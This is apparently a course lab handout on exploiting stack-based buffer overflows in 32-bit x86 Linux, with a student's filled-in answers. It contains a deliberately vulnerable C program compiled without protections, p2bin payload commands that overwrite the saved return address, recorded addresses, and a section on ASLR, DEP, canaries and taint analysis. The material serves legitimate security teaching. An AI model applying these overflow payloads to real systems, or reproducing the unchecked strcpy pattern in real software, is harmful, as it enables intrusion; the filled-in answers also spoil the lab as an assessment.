

Exploitation Lab I

Preparation

Important note: If you have a laptop with a 64-bit x86 CPU, you can run these labs on a VM locally on your laptop. If you have any other CPU, for example an ARM CPU currently running in Apple's M series laptops, then you *must* use our cloud-based VMs. **These labs will not work on anything that's not (emulating) an x86 CPU.**

First, use your VM and check whether the code and script files relevant for this lab are already present. This is typically the case for our cloud-based VMs. If a folder *exploitation/* exists in your home directory, all files should already have been copied to your VM and you can skip the remainder of this section and can continue with Section 1 below. If not, read and follow the instructions in the remainder of this section.

We will assume that your home directory is */home/ubuntu*. If you have a different home directory, please adjust commands accordingly.

First install any needed packages by typing:

```
sudo apt install -y binutils gcc gcc-multilib gdb python3 nasm
```

Find the code and scripts relevant to this lab in the *exploitation.tar.gz* file which is distributed with these instructions. Copy it to your home directory and extract it there. If you extract the file somewhere else, things will not work as expected! Then add */home/ubuntu/bin* to your PATH variable by editing the file *.bashrc* and adding this line at the end

```
PATH=$PATH:/home/ubuntu/bin
```

Then complete installation of the files by typing

```
source .bashrc
```

You now have the directory */home/ubuntu/exploitation/* where you can find the code-files and other files referenced in the exploitation labs part I to part III (see the p1 to p3 subdirectories). And it adds a helper-tool called *p2bin* to */home/ubuntu/bin*. You can use it to write 'binary' data to the standard output. You will need this to compose command line arguments consisting of printable and non-printable characters.

1 Rationale

Teaching students how to exploit buffer overflows in a security lab and assuming the role of an attacker is not without controversy. On the one hand, there are many security experts who think it is not necessary to learn how to hack into systems to be good at defending them. On the other hand, there is now an increasing number of government officials and security experts claiming that we need offensive skills to create the substance and the psychology of deterrence¹. After all, even when considering only the breaches known to the public, defending our assets is a challenge. Often, defending a high-value target against highly skilled attackers means fighting one's last stand.

Irrespective of these opposing viewpoints, it is a fact there is a significant demand for penetration testers whose job involves *authorized* auditing and exploitation of systems to assess actual system security in order to protect against attackers. This requires a thorough knowledge of vulnerabilities and how to exploit them. While this is the main rationale for this lab, there are other legitimate uses of such skills. Thinking like an attacker can be a valuable skill in security research and in getting the design and development of technology to defend our assets well.

¹ See e.g., <http://www.atlanticcouncil.org/publications/issue-briefs/cybersecurity-and-tailored-deterrence> or <http://blogs.wsj.com/cio/2015/04/28/cyber-deterrence-is-a-strategic-imperative/>

2 Introduction

Exploitation is a topic with many sub-topics and specializations.² It is impossible to cover them all in a single module or lab. In this and the next two labs, you will focus on exploiting stack-based buffer-overflow vulnerabilities in 32-bit x86 binaries running on Linux. You do this because:

- The x86 platform is still among the most prominent platforms.
- Stack-based buffer overflow vulnerabilities are fairly easy to exploit. This provides room for looking at some more advanced exploitation and defence techniques rather than trying to work out the details of a specific vulnerability and how to trigger it.

Note that parts of this and the following two labs will be in the form of walkthroughs. To complete them, you must **execute** the steps. Reading the printouts shown in the walkthrough is **not enough**. Note that **addresses of functions or placement of data might be different on your system**. Make sure that you understand what you are doing rather than just re-typing the commands.

2.1 Learning goals

Offensive:

- You can develop proof of concept exploits for stack-based buffer overflow vulnerabilities.
- You have a basic understanding of ROP and other methods for bypassing protections like ASLR, DEP or stack canaries.

Defensive:

- You understand the key benefits and limits of ASLR, DEP and stack canaries used to harden a system against code injection and control-flow hijacking attacks.
- You understand how difficult it is to exploit systems hardened with ASLR, DEP and stack canaries and you consider the presence/absence of these techniques when assessing or developing/configuring information system.

Generic:

- You know about some other vulnerabilities, defences and problems (e.g., heap-overflows, taint-analysis) and you know resources where you can learn more about them.

2.2 Buffer Overflows

Many security vulnerabilities exist because of the way the x86 architecture works and the way programming languages make use of it. Languages like C and C++ have no memory safety. C lets you write code that writes data where it should not go, for example beyond the end of a buffer, so you are also expected not to do that and to check memory boundaries yourself. C has a wonderful name for what occurs when you don't do this correctly: *undefined behaviour*. As soon as your program exhibits undefined behaviour, all expectations about program behaviour are out the window, and the program can behave in any possible way. These checks are therefore important, but getting them always right is difficult – humans make mistakes. Buffer overflow vulnerabilities are one (in)famous result of such mistakes. They are based on wrong or missing bounds checking for writes to buffers.

If a programmer fails to handle memory access properly, attackers might be able to gain control over a program and the host on which it runs.

Recent real-world examples of a heap-based and a stack-based buffer overflow vulnerability in a Linux kernel module that can be exploited over the network can be found here:

- **Stack (“simple”): CVE-2022-0435**
<https://www.appgate.com/blog/a-remote-stack-overflow-in-the-linux-kernel>
- **Heap (“difficult”): CVE-2021-43267**
<https://haxx.in/posts/pwning-tipc/>

² Sub-topics include finding and exploiting vulnerabilities in web applications, services, protocols, operating systems, embedded devices and writing shellcode, rootkits and much more.

These two writeups are quite easy to read and understand - well, at least the first one. Read them after you did all the exploitation labs and see that what you learned is not that far away from reality – just a simplified version of it.

3 Getting ready...

To complete this lab, you should be able to:

- analyse program code written in the C programming language
- read and understand assembly code
- use GDB, the GNU Project debugger.

If you need a refresher on assembly code, the stack layout, register names/usage and GDB, please read the **“Assembly and GDB Refresher”** distributed with this lab.

Important note: When solving this lab, **keep in mind that the x86 architecture makes use of little-endian byte order**. This means that the LSB (least significant byte) of an address/integer is at the lowest address. Thus, integers requiring more than one byte of memory are stored in an order that’s the reverse of how we usually write them. For example, the integer number 0x12345678 (hexadecimal) when viewed in a raw memory dump will appear as 78 56 34 12. Please consider this when inspecting memory and manipulating its content at the byte level.

4 Exploiting a buffer overflow

A buffer overflow happens when more data is written to a buffer than there is space in the buffer. There are many reasons why this can happen:

- Missing or erroneous bounds checking when writing to a buffer. Examples of functions with no bounds-checking in C are:

<code>strcpy(char *dest, char const *src)</code>	May overflow the <code>dest</code> buffer
<code>gets(char *s)</code>	May overflow the <code>s</code> buffer
<code>[v]scanf(const char *format, ...)</code>	May overflow its arguments.
<code>realpath(char *path, char resolved_path[])</code>	May overflow the <code>path</code> buffer
- Missing or erroneous input validation of input, such as combinations of data and length information. When the length information is not checked or is wrong – perhaps because an attacker controls it and has manipulated it –, the target buffer might overflow.
- An integer overflow during a buffer length calculation can result in allocating a buffer that is too small to hold the data to be copied into it. The overflow occurs when the data is copied.

One of the nice aspects of C is that one can write most of the standard C library in C. One possible implementation of `strcpy` in C might look like this:

```
char* strcpy(char *restrict dest, char const *restrict src) {
    char *old_dest = dest;

    while (*dest++ = *src++)
        ; // empty

    return old_dest;
}
```

As you can see, `strcpy` will start writing to `dest[0]` and won’t stop until the null character that signals the end of `src` has been reached. It does not care whether `dest` has enough space to accommodate all the characters that make up `src`. The manual page for `strcpy` says, “The programmer is responsible for allocating a destination buffer large enough, that is, `strlen(src) + 1`”. But what if the programmer is irresponsible and provides a `dest` that is too small? In that case, memory beyond the end of `dest` will be overwritten with the contents of `src`. And if that contents is controlled by an attacker, well...

The first case we'll look at is that `dest` is on the stack. On x86-based computers, the stack is organised in stack frames that have a very specific layout. Function calls on 32-bit x86 work like this. First, the caller pushes the arguments onto the stack.

```
pushl arg1
pushl arg2
```

Then it uses the x86 `call` machine instruction, which takes an address as an argument:

```
call vulnerable
```

When execution reaches this `call` instruction, the address of the instruction following the `call` is pushed onto the stack. This is known as the saved instruction pointer register, or *saved eip*. Normally, functions will then create their stack frame. This begins by pushing the base pointer register onto the stack (that's known as the *saved ebp*) and loading the base pointer register with the current value of the stack pointer. The base pointer therefore always points (next) to memory that contains the base pointer of the previous frame. In assembly, this will look something like this:

```
vulnerable:
    pushl %ebp
    movl %esp, %ebp
```

At this time, the function will create space for its own variables on the stack by subtracting a suitable amount from the stack pointer. Local variables are accessed with negative offsets from the base pointer, parameters with positive offsets from the base pointer.

```
    subl $12, %esp
```

At some point, the callee will want to return. For C, where functions only ever return at most one value, this return value will, on 32-bit x86, generally be put into register `eax`. Then it's time to restore the saved `ebp` and to continue executing code from where we came, for which there is a special machine instruction `ret` that will pop the saved `eip` from the stack and continue execution there

```
    movl result, %eax
    popl %ebp
    ret
```

The caller will then clean up the stack by adding as many bytes to the stack pointer that it was previously reduced by pushing arguments onto the stack. Let's say that we pushed two 4-byte values onto the stack (for example, these might be two addresses for `strcpy`). Then the cleanup in the caller will look like this:

```
    addl $8, %esp
```

To summarise, the caller runs this code:

```
                                ; state before [1]
    pushl arg1                   ; prepare argument 1 (4 bytes) [2]
    pushl arg2                   ; prepare argument 2 (4 bytes)
    call vulnerable              ; call func, push address of next instruction onto stack [3]
    addl $8, %esp                ; clean up stack (8 bytes) [4]
```

and the callee works like this:

```
vulnerable:
    pushl %ebp                   ; save old base pointer [5]
    movl %esp, %ebp              ; start new stack frame [6]
    subl $12, %esp               ; make room for 12 bytes of local variables [7]
    . . .                       ; refer to locals with negative offsets from %ebp
    . . .                       ; refer to parameters with positive offsets from %ebp
    movl result, %eax            ; put result in register reserved for return value
    movl %ebp, %esp              ; remove local variables
    popl %ebp                    ; restore old base pointer [8]
    ret                          ; continue running the caller by popping %eip [9]
```

Question: Draw diagrams of the stack at [1] (this diagram will be mostly empty), showing where the stack pointer `esp` points to. Then draw diagrams just after [2], [3], [4], [5], [6], [7], [8], and [9]. Show the base pointer in your diagrams for [5] and [6]

Now let's assume that one of the locals in `target` is a buffer, for example an array of `char`, and that we use `strcpy` to write data into that buffer. If the attacker controls the data that's written into the buffer, he³ might be able to overwrite the saved `eip` with an address of his own choosing. Without additional protections or counter measures, this may allow an attacker to execute his own code.

That's what you're going to do next.

4.1 Call a specific function in the code

```
#include "stdio.h"
#include "string.h"

void target() {
    printf("target\n");
}

void vulnerable(char* input) {
    char buffer[16];
    strcpy(buffer, input);
}

int main(int argc, char** argv) {
    if(argc == 2)
        vulnerable(argv[1]);
    else
        printf("Need an argument!");
    return 0;
}
```

Code Sample 1 – simple-overflow.c

Your first task is to make the program *simple-overflow.c* call the function `target` by providing a suitable command line argument. Compile the file named *simple-overflow.c* as follows:

```
gcc -m32 -no-pie -fno-stack-protector -g -o simple-overflow simple-overflow.c
```

and open it in GDB:

```
gdb simple-overflow
```

Next, determine the address of the `target` function, the addresses of the instructions where `strcpy` is called, and the address of the instruction executed just after `strcpy` returned from the call and after the caller has cleaned up the stack. These addresses are used to set breakpoints, so that you can have a look at the stack frame before and after the call to `strcpy`. To find these addresses, you can use the `disass` command:

```
disass <function name>
```

Question: Note down the following addresses:

Address of the `target` function:

0x 0x08049196

Address of the instruction where `strcpy` is called:

0x 0x080491de

³And they are men, for the most part.

Address of the instruction executed after `strcpy` returns: `0x080491e3`

Set two breakpoints using the last two addresses to break just before and after the call to `strcpy`:

```
break *0x<ADDRESS1>
break *0x<ADDRESS2>
```

Now, run the program with different arguments and inspect the stack. To run the program and provide an argument, you can use something like:

```
run `p2bin 'b"A"*10 + b"B"*5 + pack("<L", 0x11223344)`
```

This would supply the Argument `AAAAAAAAAABBBBBB` and the little-endian byte sequence for the unsigned long value `0x11223344`. Note that the type `long` is 4-bytes in python). To inspect the stack, you can for example use:

```
x/10a $esp
```

This will examine (x) ten (10) addresses (a) from the top of the stack (\$esp). There are other formats for the x command; type `'help x'` for a list. The nice thing about the address (a) format is that if gdb recognises an address (such as a return address, which must by definition be inside a known function), it will resolve that address, and print the address and its resolution, which may look something like `0x8049230 <main+68>`. This tells you that the address `0x8048230` that gdb found on the stack points to a location that is 68 bytes inside `main()`.

Important notes:

- If you search for the last four bytes from above in memory, you must look for the sequence `0x44 0x33 0x22 0x11` because of the little-endian byte order.
- String arguments cannot contain a null character (`0x00`, `'\0'`), because it is the string terminator in C. This limits your ability to jump to addresses with `0x00`, such as `0xff00ffff`.

Question: With this, you should now be able to develop the exploit. Complete the command below so that the target function is called. It is OK if you get a segmentation fault after the target function has been called and `target` has been printed to `stdout` (the standard output).

```
./simple-overflow `p2bin 'b"A"*28 + pack("<L", 0x08049196)`
```

The segmentation fault after the execution of `target()` is a bit ugly since this makes an attack easy to spot or at least it may raise suspicion. The reason why this happens is that when `target()` returns with `ret`, it tries to pop a return address from the stack. Unfortunately, there is no valid return address on the stack since we did not call this function with a `call` instruction, which would have put a return address on the stack, but by misusing the `ret` of `vulnerable()`. Hence, to solve this problem, you should put the original return address on the stack.

Unfortunately, a second issue makes fixing the erroneous behaviour more difficult. When overwriting the saved `eip` (return address), the saved `ebp` is overwritten too. This is a problem because when returning from a function, the stack frame of the previous function (here: `main()`) is restored by setting `esp` to the current value of `ebp` and afterwards popping the saved `ebp` value from the stack to the `ebp` register and finally popping the return address. In our case, this will then lead to the execution of `target`. Since `target` is a function, it saves the `ebp` register and restores it when returning, so that after `target`, we have the same situation as before. Consequently, the stack must look as follows for the program to continue to work as it should, and to terminate normally. Note that when we show (parts of) the stack, high memory addresses are always at the bottom and low addresses at the top:

Before Overflow:	After Overflow:
<code>0x...C</code> ...	...
<code>0x...0</code> Saved <code>ebp</code> of <code>main</code>	Saved <code>ebp</code> of <code>main</code>
<code>0x...4</code> Return address (addr in <code>main</code>)	Address of function ' <code>target</code> '
<code>0x...8</code> Parameter 1 for <code><vulnerable></code>	Return address (in <code>main</code>)
<code>0x...C</code> ...	...

To compile a suitable input string, you must know (1) the value of the saved `ebp` of `main()` since you want to overwrite the location where it is stored and (2) the original return address that you overwrite.

4.2 Call a specific function in the code without crashing the program

Step 1: Start a new instance of `gdb` and determine the values required to compile an input string that causes the program to call the target function and complete *without* a segmentation fault.

- For this to work, the original `ebp` must be restored and the original return address must be used when returning from `target`. Hence, when overflowing the original `ebp`, you must overflow it with its original value. Furthermore, you must place the original return address on the stack so that it is used as the return address when returning from `target`.

Question: Note down the following values extracted from your analysis of the program **in `gdb`**. Make sure to first determine the correct length of the argument required to solve the task. The reason is that the input argument is placed on the stack (as value). If you change its length, that will impact the position of things on the stack, including the base address of the stack frame of a function (stored in `ebp`).

You can use the command `info frame` (or simply `i f`). But be careful: you must distinguish between where (for example) `ebp` is saved and the value of the saved `ebp`. You can use the `examine address` command (`x/a`) to print the contents of an address or register as an address.

Value of saved `ebp`: **0xffffd0b8**
 Original return address: **0x08049230**

Note: If the address contains a ‘forbidden’ byte (0x00, 0x20, or 0x09 [backspace]), try to jump a bit further (the next instruction after that one in `main`).

Question: Note down the command to run the program **in `gdb`** without segmentation fault:

```
run `p2bin 'b"A"*24 + pack("<LLL", 0xffffd0b8, 0x08049196, 0x08049230)`
```

Now, run *simple-overflow* with this exploit again, but from the command line instead of from `gdb`.

Unfortunately, this does not work. To investigate why this is the case, you would have to check how the addresses used in your exploit change when the program is started from the command line. This could be done by attaching a debugger to the program after it has been started. However, because there are some pitfalls when trying to do this, we print the results of two sample runs below. For the interested reader, Appendix A provides some insights into the pitfalls and how to address them. The short answer is that operating systems use a technique called *address space layout randomisation* (ASLR). One of the consequences of ASLR is that the stack is always in a different place when run from the command line. (The stack is always in the same place when running the program in `gdb` because that simplifies debugging, which is the main purpose of `gdb`.)

	Run 1	Run 2
Address of buffer:	0xffee9670	0xffc12e60
Address of saved EIP:	0xffee9688	0xffc12e78
Value of saved EBP:	0xffee96b8	0xffc12ea8
Address of <code>target</code> :	0x08049196	0x08049196
Distance between the buffer and the saved eip:		
Distance:	28 Bytes	28 Bytes

Question: Compare the above information from both runs. Focus on what changes and what remains constant. Can you fix the string so that your exploit works without segmentation fault?

- ☐ Yes, this can be done because the distance and the address of `target` and `main` remain the same. If the distance does not change, it is unlikely that we get a segmentation fault, even if the `ebp` value should be incorrect.
- ☐ No, this cannot be fixed (easily) because the address of the buffer seems to differ from run to run. It might therefore happen, that the overflow won't overwrite the saved `eip` (return address) at all but simply crash the program without executing the `target` function.
- ☐ No, this cannot be fixed (easily) because the value of the saved `ebp` seems to change from run to run. Hence, we cannot provide the correct value for the `ebp` and the program crashes when trying to return to `vulnerable` after executing the `target` function.
- ☒ No, this cannot be fixed (easily) because the value of the saved `ebp` seems to change from run to run. Hence, we cannot provide the correct value for the `EBP` of the stack frame of `main` and the program crashes when trying to return to `main` after executing the `target` function.

5 Defending against buffer overflows

Until now, you have played the role of an attacker and you have seen that it is not easy to exploit vulnerable software running on contemporary operating systems. In fact, there are many techniques that contribute to this difficulty:

- Address space layout randomization (ASLR). As already explained above, ASLR moves important memory segments (like the stack, but also others) around between program runs. This makes it more difficult to predict what precise addresses will be used.
- Dynamic taint analysis. In this technique, user-supplied input is never used as-is in system functions like `strcpy`. Instead, such data must always be carefully checked. This is achieved by making data items carry a flag with them that says whether that data came from an external source. In this case, the data is said to be *tainted*. Computations with tainted data also taint the results of these computations. System functions take only untainted data as input. If you want to call a function with tainted data, you must first check it for validity and thereby *untaint* it. This technique is used in a program called *suidperl*. This is a Perl interpreter that's safe to run `suid root` because system functions refuse to run with tainted inputs.
- Data execution prevention (DEP) / Executable space protection. In this technique, things that should be data and not programs are marked to be nonexecutable with the help of the memory management unit (MMU). Data that's in a page marked as nonexecutable *cannot* be executed, even if it contains perfectly valid machine instructions.
- Stack Canaries. In this technique, the space just before the saved `eip` is protected with a random value. Before executing the `ret` instruction, the program checks if the value is unchanged. If it has changed, it aborts (crashes) the program. The idea is that even if an attacker manages to overwrite the saved `eip`, he won't be able to predict the value of the canary. Since the value of the canary is checked before the `ret` instruction executes, the attacker can't hijack the program's execution flow. Granted, he did crash the program, but at least he didn't make the program do his bidding.

Question: Dynamic taint analysis sounds like a really good idea. Why do you think it is not in more widespread use?

The answer: Dynamic taint analysis has significant performance overhead. Every piece of data must carry a "tainted/untainted" flag, and every operation must propagate that flag. This essentially doubles (or more) memory usage and slows down every computation. It also requires runtime support that most languages and environments don't provide natively. The complexity of tracking taint through pointer arithmetic, type casts, and implicit data flows makes it impractical for most production systems. It works in controlled environments (like Perl's taint mode) but is too expensive for general-purpose use.

In parts II and III of the exploitation labs, you will have a closer look at data execution prevention (DEP) and stack canaries and how to circumvent these protections. By doing so, you will get a good idea what they can and cannot do for you, and why it is a good idea to use them.

6 Lab Points

For **2 lab points**, you have to show the tutor or lecturer the filled-in lab. The lecturer or tutor might ask you to present your solution and to answer questions related to it.

A Debugging Processes Started Outside of gdb

To debug a process that you start from the command line (outside gdb), you can simply attach gdb to that process using:

```
gdb attach <PID>
```

However, if you do this, the program might already have completed or executed the function you wanted to analyze. To not to miss anything, you must start the program in the suspended state. To do this, this simple script can be used:

```
#!/bin/sh
kill -STOP $$                                # suspend myself until I
                                              # receive SIGCONT
exec $@                                       # exec + argument list
```

If called like this:

```
./start-stopped.sh command-to-execute arg1 arg2 arg3
```

the process executing the script is stopped before exec is called. Exec will replace this process with the actual program you wanted to debug. So, you have now enough time to note down the PID of this process and attach gdb as indicated above to that process.

Another problem you have to solve is that if you attach to the process started with the start-stopped.sh script, setting breakpoints for the program started by the start-stopped.sh script is not straight forward. For example, if you want to break at its main function, entering `break main` produces:

```
Function "main" not defined.
```

The problem here is, that the current process is an instance of your system's default shell running your script. In order to be able to break at a function or line of code when this process is replaced by the program you want to debug, you can use:

```
break _start
```

For most binaries, this is the name of the entry point. As this exists in the current process and in the binary that will be used to replace that process, this will work. After this, you can continue the execution until you reach the `_start` breakpoint. Now that the process has been replaced with the program you want to debug, GDB also knows about its symbols and you can start your analysis.